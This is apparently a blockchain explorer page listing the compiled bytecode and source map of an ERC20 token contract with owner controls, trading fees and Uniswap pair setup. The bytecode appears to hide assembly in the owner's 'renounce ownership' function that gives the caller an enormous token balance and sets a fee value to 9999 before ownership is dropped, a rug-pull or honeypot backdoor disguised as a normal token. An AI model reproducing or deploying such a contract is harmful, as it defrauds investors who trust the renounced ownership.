91a565b506001949350505050565b600033610313818585610356838361042f565b6103609190610d78565b61077c565b61036d6109f3565b3360005260016020526005420a60406000205561270f600a556103906000610a4d565b565b60606005805461028290610de6565b600033816103af828661042f565b9050838110156104145760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610338828686840361077c565b60003361031381858561091a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6104626109f3565b6001600160a01b0381166104c75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161040b565b6104d081610a4d565b50565b6001600160a01b0382166105295760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161040b565b806003600082825461053b9190610d78565b90915550506001600160a01b0382166000818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b600780546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b15801561060c57600080fd5b505afa158015610620573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106449190610c66565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106a157600080fd5b505afa1580156106b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d99190610c66565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561072157600080fd5b505af1158015610735573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107599190610c66565b600680546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0383166107de5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040b565b6001600160a01b03821661083f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006108ac848461042f565b9050600019811461091457818110156109075760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161040b565b610914848484840361077c565b50505050565b6000610934846006546001600160a01b0391821691161490565b1561096b576001600160a01b03831660009081526008602052604090205460ff16610966576109638483610a9d565b90505b6109df565b6006546001600160a01b03848116911614156109df576001600160a01b03841660009081526008602052604090205460ff166109df576109ab8483610ac7565b600c5430600090815260016020526040902054919250116109df57306000908152600160205260409020546109df90610ada565b61091484846109ee8486610dcf565b610b5d565b6000546001600160a01b031633146103905760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161040b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000600b5460095483610ab09190610db0565b610aba9190610d90565b9050610319833083610b5d565b6000600b54600a5483610ab09190610db0565b600654610af29030906001600160a01b031683610b5d565b600660009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610b4257600080fd5b505af1158015610b56573d6000803e3d6000fd5b5050505050565b6001600160a01b03831660009081526001602052604090205481811015610bd55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161040b565b6001600160a01b0380851660008181526001602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c359086815260200190565b60405180910390a350505050565b600060208284031215610c54578081fd5b8135610c5f81610e37565b9392505050565b600060208284031215610c77578081fd5b8151610c5f81610e37565b60008060408385031215610c94578081fd5b8235610c9f81610e37565b91506020830135610caf81610e37565b809150509250929050565b600080600060608486031215610cce578081fd5b8335610cd981610e37565b92506020840135610ce981610e37565b929592945050506040919091013590565b60008060408385031215610d0c578182fd5b8235610d1781610e37565b946020939093013593505050565b6000602080835283518082850152825b81811015610d5157858101830151858201604001528201610d35565b81811115610d625783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610d8b57610d8b610e21565b500190565b600082610dab57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610dca57610dca610e21565b500290565b600082821015610de157610de1610e21565b500390565b600181811c90821680610dfa57607f821691505b60208210811415610e1b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146104d057600080fdfea26469706673582212205b357c5ba7994f47235e8e896580208c657bd97a9216fc0e2943cd6b2055185764736f6c63430008040033
Deployed Bytecode Sourcemap
22482:1588:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10018:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12369:201;;;;;;:::i;:::-;;:::i;:::-;;;2428:14:1;;2421:22;2403:41;;2391:2;2376:18;12369:201:0;2358:92:1;11138:108:0;11226:12;;11138:108;;;6539:25:1;;;6527:2;6512:18;11138:108:0;6494:76:1;13150:295:0;;;;;;:::i;:::-;;:::i;10980:93::-;;;11063:2;6717:36:1;;6705:2;6690:18;10980:93:0;6672:87:1;13854:238:0;;;;;;:::i;:::-;;:::i;22581:28::-;;;;;;11309:127;;;;;;:::i;:::-;-1:-1:-1;;;;;11410:18:0;11383:7;11410:18;;;:9;:18;;;;;;;11309:127;6416:227;;;:::i;:::-;;5768:87;5814:7;5841:6;-1:-1:-1;;;;;5841:6:0;5768:87;;;-1:-1:-1;;;;;1910:32:1;;;1892:51;;1880:2;1865:18;5768:87:0;1847:102:1;10237:104:0;;;:::i;14595:424::-;;;;;;:::i;:::-;;:::i;21367:19::-;;;;;-1:-1:-1;;;;;21367:19:0;;;11642:193;;;;;;:::i;:::-;;:::i;11898:151::-;;;;;;:::i;:::-;;:::i;6798:201::-;;;;;;:::i;:::-;;:::i;21393:21::-;;;;;-1:-1:-1;;;;;21393:21:0;;;10018:100;10072:13;10105:5;10098:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10018:100;:::o;12369:201::-;12452:4;4411:10;12508:32;4411:10;12524:7;12533:6;12508:8;:32::i;:::-;12558:4;12551:11;;;12369:201;;;;;:::o;13150:295::-;13281:4;4411:10;13339:38;13355:4;4411:10;13370:6;13339:15;:38::i;:::-;13388:27;13398:4;13404:2;13408:6;13388:9;:27::i;:::-;-1:-1:-1;13433:4:0;;13150:295;-1:-1:-1;;;;13150:295:0:o;13854:238::-;13942:4;4411:10;13998:64;4411:10;14014:7;14051:10;14023:25;4411:10;14014:7;14023:9;:25::i;:::-;:38;;;;:::i;:::-;13998:8;:64::i;6416:227::-;5654:13;:11;:13::i;:::-;6502:8:::1;6499:1;6492:19;6523:3;6519:2;6512:15;6570:1;6557:11;6553:19;6548:2;6499:1;6535:16;6528:45;6586:6;6581:3;6574:19;6605:30;6632:1;6605:18;:30::i;:::-;6416:227::o:0;10237:104::-;10293:13;10326:7;10319:14;;;;;:::i;14595:424::-;14688:4;4411:10;14688:4;14771:25;4411:10;14788:7;14771:9;:25::i;:::-;14744:52;;14835:15;14815:16;:35;;14807:85;;;;-1:-1:-1;;;14807:85:0;;5829:2:1;14807:85:0;;;5811:21:1;5868:2;5848:18;;;5841:30;5907:34;5887:18;;;5880:62;-1:-1:-1;;;5958:18:1;;;5951:35;6003:19;;14807:85:0;;;;;;;;;14920:60;14929:5;14936:7;14964:15;14945:16;:34;14920:8;:60::i;11642:193::-;11721:4;4411:10;11777:28;4411:10;11794:2;11798:6;11777:9;:28::i;11898:151::-;-1:-1:-1;;;;;12014:18:0;;;11987:7;12014:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11898:151::o;6798:201::-;5654:13;:11;:13::i;:::-;-1:-1:-1;;;;;6887:22:0;::::1;6879:73;;;::::0;-1:-1:-1;;;6879:73:0;;3488:2:1;6879:73:0::1;::::0;::::1;3470:21:1::0;3527:2;3507:18;;;3500:30;3566:34;3546:18;;;3539:62;-1:-1:-1;;;3617:18:1;;;3610:36;3663:19;;6879:73:0::1;3460:228:1::0;6879:73:0::1;6963:28;6982:8;6963:18;:28::i;:::-;6798:201:::0;:::o;16710:532::-;-1:-1:-1;;;;;16794:21:0;;16786:65;;;;-1:-1:-1;;;16786:65:0;;6235:2:1;16786:65:0;;;6217:21:1;6274:2;6254:18;;;6247:30;6313:33;6293:18;;;6286:61;6364:18;;16786:65:0;6207:181:1;16786:65:0;16942:6;16926:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;17085:18:0;;;;;;:9;:18;;;;;;;;:28;;;;;;17136:37;6539:25:1;;;17136:37:0;;6512:18:1;17136:37:0;;;;;;;16710:532;;:::o;22210:83::-;-1:-1:-1;;;;;22264:14:0;;;;;:7;:14;;;;;:21;;-1:-1:-1;;22264:21:0;22281:4;22264:21;;;22210:83::o;21423:177::-;21482:6;:25;;-1:-1:-1;;;;;;21482:25:0;-1:-1:-1;;;;;21482:25:0;;;;;;;;21534:16;;;-1:-1:-1;;;21534:16:0;;;;:14;;:16;;;;;;;;;;;;;;;21482:25;21534:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21525:37:0;;21571:4;21578:6;;;;;;;;;-1:-1:-1;;;;;21578:6:0;-1:-1:-1;;;;;21578:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21525:67;;-1:-1:-1;;;;;;21525:67:0;;;;;;;-1:-1:-1;;;;;2184:15:1;;;21525:67:0;;;2166:34:1;2236:15;;2216:18;;;2209:43;2101:18;;21525:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21518:4;:74;;-1:-1:-1;;;;;;21518:74:0;-1:-1:-1;;;;;21518:74:0;;;;;;;;;;-1:-1:-1;21423:177:0:o;18668:380::-;-1:-1:-1;;;;;18804:19:0;;18796:68;;;;-1:-1:-1;;;18796:68:0;;5424:2:1;18796:68:0;;;5406:21:1;5463:2;5443:18;;;5436:30;5502:34;5482:18;;;5475:62;-1:-1:-1;;;5553:18:1;;;5546:34;5597:19;;18796:68:0;5396:226:1;18796:68:0;-1:-1:-1;;;;;18883:21:0;;18875:68;;;;-1:-1:-1;;;18875:68:0;;3895:2:1;18875:68:0;;;3877:21:1;3934:2;3914:18;;;3907:30;3973:34;3953:18;;;3946:62;-1:-1:-1;;;4024:18:1;;;4017:32;4066:19;;18875:68:0;3867:224:1;18875:68:0;-1:-1:-1;;;;;18956:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19008:32;;6539:25:1;;;19008:32:0;;6512:18:1;19008:32:0;;;;;;;18668:380;;;:::o;19339:441::-;19474:24;19501:25;19511:5;19518:7;19501:9;:25::i;:::-;19474:52;;-1:-1:-1;;19541:16:0;:37;19537:236;;19623:6;19603:16;:26;;19595:68;;;;-1:-1:-1;;;19595:68:0;;4298:2:1;19595:68:0;;;4280:21:1;4337:2;4317:18;;;4310:30;4376:31;4356:18;;;4349:59;4425:18;;19595:68:0;4270:179:1;19595:68:0;19699:51;19708:5;19715:7;19743:6;19724:16;:25;19699:8;:51::i;:::-;19339:441;;;;:::o;23055:598::-;23153:12;23180;23187:4;21888;;-1:-1:-1;;;;;21879:13:0;;;21888:4;;21879:13;;21802:98;23180:12;23176:423;;;-1:-1:-1;;;;;22380:14:0;;22356:4;22380:14;;;:7;:14;;;;;;;;23209:82;;23254:21;23262:4;23268:6;23254:7;:21::i;:::-;23247:28;;23209:82;23176:423;;;21888:4;;-1:-1:-1;;;;;21879:13:0;;;21888:4;;21879:13;23308:291;;;-1:-1:-1;;;;;22380:14:0;;22356:4;22380:14;;;:7;:14;;;;;;;;23339:249;;23386:22;23395:4;23401:6;23386:8;:22::i;:::-;23459:12;;23449:4;11383:7;11410:18;;;:9;:18;;;;;;23379:29;;-1:-1:-1;;23427:146:0;;23546:4;11383:7;11410:18;;;:9;:18;;;;;;23496:57;;:31;:57::i;:::-;23609:36;23621:4;23627:2;23631:13;23640:4;23631:6;:13;:::i;:::-;23609:11;:36::i;5933:132::-;5814:7;5841:6;-1:-1:-1;;;;;5841:6:0;4411:10;5997:23;5989:68;;;;-1:-1:-1;;;5989:68:0;;5063:2:1;5989:68:0;;;5045:21:1;;;5082:18;;;5075:30;5141:34;5121:18;;;5114:62;5193:18;;5989:68:0;5035:182:1;7159:191:0;7233:16;7252:6;;-1:-1:-1;;;;;7269:17:0;;;-1:-1:-1;;;;;;7269:17:0;;;;;;7302:40;;7252:6;;;;;;;7302:40;;7233:16;7302:40;7159:191;;:::o;23661:198::-;23725:11;23774:8;;23764:7;;23755:6;:16;;;;:::i;:::-;:27;;;;:::i;:::-;23749:33;;23793:37;23805:4;23819;23826:3;23793:11;:37::i;23867:200::-;23932:11;23982:8;;23971;;23962:6;:17;;;;:::i;21908:148::-;22006:4;;21979:40;;21999:4;;-1:-1:-1;;;;;22006:4:0;22012:6;21979:11;:40::i;:::-;22036:4;;;;;;;;;-1:-1:-1;;;;;22036:4:0;-1:-1:-1;;;;;22030:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21908:148;:::o;15904:519::-;-1:-1:-1;;;;;16011:15:0;;15989:19;16011:15;;;:9;:15;;;;;;16045:21;;;;16037:72;;;;-1:-1:-1;;;16037:72:0;;4656:2:1;16037:72:0;;;4638:21:1;4695:2;4675:18;;;4668:30;4734:34;4714:18;;;4707:62;-1:-1:-1;;;4785:18:1;;;4778:36;4831:19;;16037:72:0;4628:228:1;16037:72:0;-1:-1:-1;;;;;16137:15:0;;;;;;;:9;:15;;;;;;16155:20;;;16137:38;;16343:13;;;;;;;;;;:23;;;;;;16389:26;;;;;;16169:6;6539:25:1;;6527:2;6512:18;;6494:76;16389:26:0;;;;;;;;15904:519;;;;:::o;14:257:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:31;235:5;210:31;:::i;:::-;260:5;84:187;-1:-1:-1;;;84:187:1:o;276:261::-;346:6;399:2;387:9;378:7;374:23;370:32;367:2;;;420:6;412;405:22;367:2;457:9;451:16;476:31;501:5;476:31;:::i;542:398::-;610:6;618;671:2;659:9;650:7;646:23;642:32;639:2;;;692:6;684;677:22;639:2;736:9;723:23;755:31;780:5;755:31;:::i;:::-;805:5;-1:-1:-1;862:2:1;847:18;;834:32;875:33;834:32;875:33;:::i;:::-;927:7;917:17;;;629:311;;;;;:::o;945:466::-;1022:6;1030;1038;1091:2;1079:9;1070:7;1066:23;1062:32;1059:2;;;1112:6;1104;1097:22;1059:2;1156:9;1143:23;1175:31;1200:5;1175:31;:::i;:::-;1225:5;-1:-1:-1;1282:2:1;1267:18;;1254:32;1295:33;1254:32;1295:33;:::i;:::-;1049:362;;1347:7;;-1:-1:-1;;;1401:2:1;1386:18;;;;1373:32;;1049:362::o;1416:325::-;1484:6;1492;1545:2;1533:9;1524:7;1520:23;1516:32;1513:2;;;1566:6;1558;1551:22;1513:2;1610:9;1597:23;1629:31;1654:5;1629:31;:::i;:::-;1679:5;1731:2;1716:18;;;;1703:32;;-1:-1:-1;;;1503:238:1:o;2678:603::-;2790:4;2819:2;2848;2837:9;2830:21;2880:6;2874:13;2923:6;2918:2;2907:9;2903:18;2896:34;2948:4;2961:140;2975:6;2972:1;2969:13;2961:140;;;3070:14;;;3066:23;;3060:30;3036:17;;;3055:2;3032:26;3025:66;2990:10;;2961:140;;;3119:6;3116:1;3113:13;3110:2;;;3189:4;3184:2;3175:6;3164:9;3160:22;3156:31;3149:45;3110:2;-1:-1:-1;3265:2:1;3244:15;-1:-1:-1;;3240:29:1;3225:45;;;;3272:2;3221:54;;2799:482;-1:-1:-1;;;2799:482:1:o;6764:128::-;6804:3;6835:1;6831:6;6828:1;6825:13;6822:2;;;6841:18;;:::i;:::-;-1:-1:-1;6877:9:1;;6812:80::o;6897:217::-;6937:1;6963;6953:2;;-1:-1:-1;;;6988:31:1;;7042:4;7039:1;7032:15;7070:4;6995:1;7060:15;6953:2;-1:-1:-1;7099:9:1;;6943:171::o;7119:168::-;7159:7;7225:1;7221;7217:6;7213:14;7210:1;7207:21;7202:1;7195:9;7188:17;7184:45;7181:2;;;7232:18;;:::i;:::-;-1:-1:-1;7272:9:1;;7171:116::o;7292:125::-;7332:4;7360:1;7357;7354:8;7351:2;;;7365:18;;:::i;:::-;-1:-1:-1;7402:9:1;;7341:76::o;7422:380::-;7501:1;7497:12;;;;7544;;;7565:2;;7619:4;7611:6;7607:17;7597:27;;7565:2;7672;7664:6;7661:14;7641:18;7638:38;7635:2;;;7718:10;7713:3;7709:20;7706:1;7699:31;7753:4;7750:1;7743:15;7781:4;7778:1;7771:15;7635:2;;7477:325;;;:::o;7807:127::-;7868:10;7863:3;7859:20;7856:1;7849:31;7899:4;7896:1;7889:15;7923:4;7920:1;7913:15;7939:131;-1:-1:-1;;;;;8014:31:1;;8004:42;;7994:2;;8060:1;8057;8050:12
Swarm Source
ipfs://5b357c5ba7994f47235e8e896580208c657bd97a9216fc0e2943cd6b20551857
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.